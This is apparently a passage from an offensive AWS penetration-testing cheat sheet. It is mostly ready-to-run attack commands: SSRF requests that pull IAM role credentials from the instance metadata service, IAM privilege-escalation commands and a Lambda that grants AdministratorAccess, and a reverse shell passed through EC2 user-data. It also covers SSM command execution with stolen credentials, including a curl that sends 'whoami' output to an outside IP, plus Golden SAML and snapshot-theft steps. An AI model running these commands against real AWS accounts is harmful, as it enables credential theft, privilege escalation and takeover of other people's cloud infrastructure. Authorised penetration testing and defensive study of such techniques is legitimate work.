||||||
|
$ python3 -m venv env && source env/bin/activate
|
||||||
|
$ pip install -r requirements.txt
|
||||||
|
$ python s3-objects-check.py -h
|
||||||
|
$ python s3-objects-check.py -p whitebox-profile -e blackbox-profile
|
||||||
|
```
|
||||||
|
|
||||||
|
* [cloudsplaining](https://github.com/salesforce/cloudsplaining) - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report
|
||||||
|
```powershell
|
||||||
|
$ pip3 install --user cloudsplaining
|
||||||
|
$ cloudsplaining download --profile myawsprofile
|
||||||
|
$ cloudsplaining scan --input-file default.json
|
||||||
|
```
|
||||||
|
|
||||||
|
* [weirdAAL](https://github.com/carnal0wnage/weirdAAL/wiki) - AWS Attack Library
|
||||||
|
```powershell
|
||||||
|
python3 weirdAAL.py -m ec2_describe_instances -t demo
|
||||||
|
python3 weirdAAL.py -m lambda_get_account_settings -t demo
|
||||||
|
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' -t yolo
|
||||||
|
```
|
||||||
|
|
||||||
|
* [cloudmapper](https://github.com/duo-labs/cloudmapper.git) - CloudMapper helps you analyze your Amazon Web Services (AWS) environments
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/duo-labs/cloudmapper.git
|
||||||
|
# sudo yum install autoconf automake libtool python3-devel.x86_64 python3-tkinter python-pip jq awscli
|
||||||
|
# You may additionally need "build-essential"
|
||||||
|
sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli
|
||||||
|
pipenv install --skip-lock
|
||||||
|
pipenv shell
|
||||||
|
report: Generate HTML report. Includes summary of the accounts and audit findings.
|
||||||
|
iam_report: Generate HTML report for the IAM information of an account.
|
||||||
|
audit: Check for potential misconfigurations.
|
||||||
|
collect: Collect metadata about an account.
|
||||||
|
find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges
|
||||||
|
```
|
||||||
|
|
||||||
|
* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS’s “public” mode
|
||||||
|
|
||||||
|
|
||||||
|
## AWS Patterns
|
||||||
|
| Service | URL |
|
||||||
|
|-------------|--------|
|
||||||
|
| s3 | https://{user_provided}.s3.amazonaws.com |
|
||||||
|
| cloudfront | https://{random_id}.cloudfront.net |
|
||||||
|
| ec2 | ec2-{ip-seperated}.compute-1.amazonaws.com |
|
||||||
|
| es | https://{user_provided}-{random_id}.{region}.es.amazonaws.com |
|
||||||
|
| elb | http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 |
|
||||||
|
| elbv2 | https://{user_provided}-{random_id}.{region}.elb.amazonaws.com |
|
||||||
|
| rds | mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 |
|
||||||
|
| rds | postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 |
|
||||||
|
| route 53 | {user_provided} |
|
||||||
|
| execute-api | https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} |
|
||||||
|
| cloudsearch | https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com |
|
||||||
|
| transfer | sftp://s-{random_id}.server.transfer.{region}.amazonaws.com |
|
||||||
|
| iot | mqtt://{random_id}.iot.{region}.amazonaws.com:8883 |
|
||||||
|
| iot | https://{random_id}.iot.{region}.amazonaws.com:8443 |
|
||||||
|
| iot | https://{random_id}.iot.{region}.amazonaws.com:443 |
|
||||||
|
| mq | https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162 |
|
||||||
|
| mq | ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 |
|
||||||
|
| kafka | b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com |
|
||||||
|
| kafka | {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com |
|
||||||
|
| cloud9 | https://{random_id}.vfs.cloud9.{region}.amazonaws.com |
|
||||||
|
| mediastore | https://{random_id}.data.mediastore.{region}.amazonaws.com |
|
||||||
|
| kinesisvideo | https://{random_id}.kinesisvideo.{region}.amazonaws.com |
|
||||||
|
| mediaconvert | https://{random_id}.mediaconvert.{region}.amazonaws.com |
|
||||||
|
| mediapackage | https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel |
|
||||||
|
|
||||||
|
|
||||||
|
## AWS - Metadata SSRF
|
||||||
|
|
||||||
|
> AWS released additional security defences against the attack.
|
||||||
|
|
||||||
|
:warning: Only working with IMDSv1.
|
||||||
|
Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required`.
|
||||||
|
|
||||||
|
In order to usr IMDSv2 you must provide a token.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
|
||||||
|
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Method for Elastic Cloud Compute (EC2)
|
||||||
|
|
||||||
|
Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
|
||||||
|
|
||||||
|
1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
|
||||||
|
```powershell
|
||||||
|
ami-id
|
||||||
|
ami-launch-index
|
||||||
|
ami-manifest-path
|
||||||
|
block-device-mapping/
|
||||||
|
events/
|
||||||
|
hostname
|
||||||
|
iam/
|
||||||
|
identity-credentials/
|
||||||
|
instance-action
|
||||||
|
instance-id
|
||||||
|
```
|
||||||
|
2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||||
|
3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
|
||||||
|
```powershell
|
||||||
|
{
|
||||||
|
"Code" : "Success",
|
||||||
|
"LastUpdated" : "2019-07-31T23:08:10Z",
|
||||||
|
"Type" : "AWS-HMAC",
|
||||||
|
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
|
||||||
|
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
|
||||||
|
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
|
||||||
|
"Expiration" : "2019-08-01T05:20:30Z"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Method for Container Service (Fargate)
|
||||||
|
|
||||||
|
1. Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ
|
||||||
|
```powershell
|
||||||
|
JAVA_ALPINE_VERSION=8.212.04-r0
|
||||||
|
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
|
||||||
|
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
|
||||||
|
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
|
||||||
|
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd
|
||||||
|
```
|
||||||
|
2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
|
||||||
|
```powershell
|
||||||
|
{
|
||||||
|
"RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
|
||||||
|
"AccessKeyId": "ASIA54BL6PJR2L75XHVS",
|
||||||
|
"SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
|
||||||
|
"Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkzqli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZTjBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==",
|
||||||
|
"Expiration": "2019-09-18T04:05:59Z"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### AWS API calls that return credentials
|
||||||
|
|
||||||
|
- chime:createapikey
|
||||||
|
- [codepipeline:pollforjobs](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html)
|
||||||
|
- [cognito-identity:getopenidtoken](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdToken.html)
|
||||||
|
- [cognito-identity:getopenidtokenfordeveloperidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html)
|
||||||
|
- [cognito-identity:getcredentialsforidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html)
|
||||||
|
- [connect:getfederationtoken](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
|
||||||
|
- [connect:getfederationtokens](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
|
||||||
|
- [ecr:getauthorizationtoken](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_GetAuthorizationToken.html)
|
||||||
|
- [gamelift:requestuploadcredentials](https://docs.aws.amazon.com/gamelift/latest/apireference/API_RequestUploadCredentials.html)
|
||||||
|
- [iam:createaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html)
|
||||||
|
- [iam:createloginprofile](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html)
|
||||||
|
- [iam:createservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html)
|
||||||
|
- [iam:resetservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ResetServiceSpecificCredential.html)
|
||||||
|
- [iam:updateaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAccessKey.html)
|
||||||
|
- [lightsail:getinstanceaccessdetails](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetInstanceAccessDetails.html)
|
||||||
|
- [lightsail:getrelationaldatabasemasteruserpassword](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetRelationalDatabaseMasterUserPassword.html)
|
||||||
|
- [rds-db:connect](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)
|
||||||
|
- [redshift:getclustercredentials](https://docs.aws.amazon.com/redshift/latest/APIReference/API_GetClusterCredentials.html)
|
||||||
|
- [sso:getrolecredentials](https://docs.aws.amazon.com/singlesignon/latest/PortalAPIReference/API_GetRoleCredentials.html)
|
||||||
|
- [mediapackage:rotatechannelcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-credentials.html)
|
||||||
|
- [mediapackage:rotateingestendpointcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-ingest_endpoints-ingest_endpoint_id-credentials.html)
|
||||||
|
- [sts:assumerole](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role.html)
|
||||||
|
- [sts:assumerolewithsaml](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-saml.html)
|
||||||
|
- [sts:assumerolewithwebidentity](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html)
|
||||||
|
- [sts:getfederationtoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-federation-token.html)
|
||||||
|
- [sts:getsessiontoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-session-token.html)
|
||||||
|
|
||||||
|
|
||||||
|
## AWS - Shadow Admin
|
||||||
|
|
||||||
|
### Admin equivalent permission
|
||||||
|
|
||||||
|
- AdministratorAccess
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
"Action": "*"
|
||||||
|
"Resource": "*"
|
||||||
|
```
|
||||||
|
|
||||||
|
- ec2:AssociateIamInstanceProfile
|
||||||
|
|
||||||
|
- **iam:CreateAccessKey**iam:CreateAccessKey : create a new access key to another IAM admin account
|
||||||
|
```powershell
|
||||||
|
aws iam create-access-key –user-name target_user
|
||||||
|
```
|
||||||
|
|
||||||
|
- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
|
||||||
|
```powershell
|
||||||
|
$ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
|
||||||
|
```
|
||||||
|
|
||||||
|
- **iam:UpdateLoginProfile** : reset other IAM users’ login passwords.
|
||||||
|
```powershell
|
||||||
|
$ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
|
||||||
|
```
|
||||||
|
|
||||||
|
- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
|
||||||
|
```powershell
|
||||||
|
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
||||||
|
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
||||||
|
$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
||||||
|
```
|
||||||
|
|
||||||
|
- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
|
||||||
|
```powershell
|
||||||
|
$ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
|
||||||
|
```
|
||||||
|
|
||||||
|
- **iam:CreatePolicy** : add a stealthy admin policy
|
||||||
|
- **iam:AddUserToGroup** : add into the admin group of the organization.
|
||||||
|
```powershell
|
||||||
|
$ aws iam add-user-to-group –group-name target_group –user-name my_username
|
||||||
|
```
|
||||||
|
|
||||||
|
- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
|
||||||
|
```powershell
|
||||||
|
$ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
|
||||||
|
```
|
||||||
|
|
||||||
|
- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
|
||||||
|
```powershell
|
||||||
|
$ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
|
||||||
|
$ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
|
||||||
|
```
|
||||||
|
|
||||||
|
- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
|
||||||
|
```powershell
|
||||||
|
$ aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip
|
||||||
|
```
|
||||||
|
|
||||||
|
- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
|
||||||
|
```powershell
|
||||||
|
$ aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
|
||||||
|
|
||||||
|
- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
|
||||||
|
```powershell
|
||||||
|
# add ssh key
|
||||||
|
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
|
||||||
|
# execute a reverse shell
|
||||||
|
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
|
||||||
|
```powershell
|
||||||
|
$ aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py
|
||||||
|
$ aws lambda invoke –function-name my_function output.txt
|
||||||
|
```
|
||||||
|
Example of code.py
|
||||||
|
```python
|
||||||
|
import boto3
|
||||||
|
def lambda_handler(event, context):
|
||||||
|
client = boto3.client('iam')
|
||||||
|
response = client.attach_user_policy(
|
||||||
|
UserName='my_username',
|
||||||
|
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
```
|
||||||
|
|
||||||
|
* **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.
|
||||||
|
```powershell
|
||||||
|
$ aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub
|
||||||
|
```
|
||||||
|
|
||||||
|
## AWS - Gaining AWS Console Access via API Keys
|
||||||
|
|
||||||
|
A utility to convert your AWS CLI credentials into AWS console access.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$> git clone https://github.com/NetSPI/aws_consoler
|
||||||
|
$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
|
||||||
|
2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
|
||||||
|
2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
|
||||||
|
2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
|
||||||
|
2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
|
||||||
|
2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
|
||||||
|
2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
|
||||||
|
2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
|
||||||
|
https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED
|
||||||
|
```
|
||||||
|
|
||||||
|
## AWS - Enumerate IAM permissions
|
||||||
|
|
||||||
|
Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
git clone git@github.com:andresriancho/enumerate-iam.git
|
||||||
|
pip install -r requirements.txt
|
||||||
|
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
|
||||||
|
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
|
||||||
|
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
|
||||||
|
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
|
||||||
|
"RoleDetailList": [
|
||||||
|
{
|
||||||
|
"Tags": [],
|
||||||
|
"AssumeRolePolicyDocument": {
|
||||||
|
"Version": "2008-10-17",
|
||||||
|
"Statement": [
|
||||||
|
{
|
||||||
|
...
|
||||||
|
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
|
||||||
|
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
|
||||||
|
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
|
||||||
|
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
|
||||||
|
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
|
||||||
|
```
|
||||||
|
|
||||||
|
## AWS - Mount EBS volume to EC2 Linux
|
||||||
|
|
||||||
|
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
|
||||||
|
|
||||||
|
1. Head over to EC2 –> Volumes and create a new volume of your preferred size and type.
|
||||||
|
2. Select the created volume, right click and select the "attach volume" option.
|
||||||
|
3. Select the instance from the instance text box as shown below : `attach ebs volume`
|
||||||
|
```powershell
|
||||||
|
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
|
||||||
|
aws ec2 attach-volume –-volume-id volume_id –-instance-id instance_id --device device
|
||||||
|
```
|
||||||
|
4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
|
||||||
|
5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
|
||||||
|
6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
|
||||||
|
7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
|
||||||
|
8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
|
||||||
|
9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`
|
||||||
|
|
||||||
|
|
||||||
|
## AWS - Copy EC2 using AMI Image
|
||||||
|
|
||||||
|
First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# create a new image for the instance-id
|
||||||
|
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
|
||||||
|
|
||||||
|
# add key to AWS
|
||||||
|
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
|
||||||
|
|
||||||
|
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
|
||||||
|
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
|
||||||
|
|
||||||
|
# now you can check the instance
|
||||||
|
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
|
||||||
|
|
||||||
|
# If needed : edit groups
|
||||||
|
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
|
||||||
|
|
||||||
|
# be a good guy, clean our instance to avoid any useless cost
|
||||||
|
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||||
|
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||||
|
```
|
||||||
|
|
||||||
|
## AWS - Instance Connect - Push an SSH key to EC2 instance
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/
|
||||||
|
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
|
||||||
|
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds
|
||||||
|
```
|
||||||
|
|
||||||
|
## AWS - Lambda - Extract function's code
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed
|
||||||
|
$ aws lambda list-functions --profile uploadcreds
|
||||||
|
$ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
|
||||||
|
$ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
|
||||||
|
```
|
||||||
|
|
||||||
|
## AWS - SSM - Command execution
|
||||||
|
|
||||||
|
:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.
|
||||||
|
|
||||||
|
SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):
|
||||||
|
* Windows Server 2008-2012 R2 AMIs published in November 2016 or later
|
||||||
|
* Windows Server 2016 and 2019
|
||||||
|
* Amazon Linux
|
||||||
|
* Amazon Linux 2
|
||||||
|
* Ubuntu Server 16.04
|
||||||
|
* Ubuntu Server 18.04
|
||||||
|
* Amazon ECS-Optimized
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1
|
||||||
|
$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
|
||||||
|
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
|
||||||
|
|
||||||
|
e.g:
|
||||||
|
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
|
||||||
|
```
|
||||||
|
|
||||||
|
## AWS - Golden SAML Attack
|
||||||
|
|
||||||
|
https://www.youtube.com/watch?v=5dj4vOqqGZw
|
||||||
|
https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/
|
||||||
|
|
||||||
|
> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* Token-signing private key (export from personal store using Mimikatz)
|
||||||
|
* IdP public certificate
|
||||||
|
* IdP name
|
||||||
|
* Role name (role to assume)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
|
||||||
|
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
|
||||||
|
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||||
|
```
|
||||||
|
|
||||||
|
## AWS - Shadow Copy attack
|
||||||
|
|
||||||
|
Prerequisite:
|
||||||
|
* EC2:CreateSnapshot
|
||||||
|
* CloudCopy - https://github.com/Static-Flow/CloudCopy
|
||||||
|
|
||||||
|
1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
|
||||||
|
2. Run `"Describe-Instances"` and show in list for attacker to select
|
||||||
|
3. Run `"Create-Snapshot"` on volume of selected instance
|
||||||
|
4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
|
||||||
|
5. Load AWS CLI with Attacker Credentials
|
||||||
|
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
|
||||||
|
7. Ssh run `"sudo mkdir /windows"`
|
||||||
|
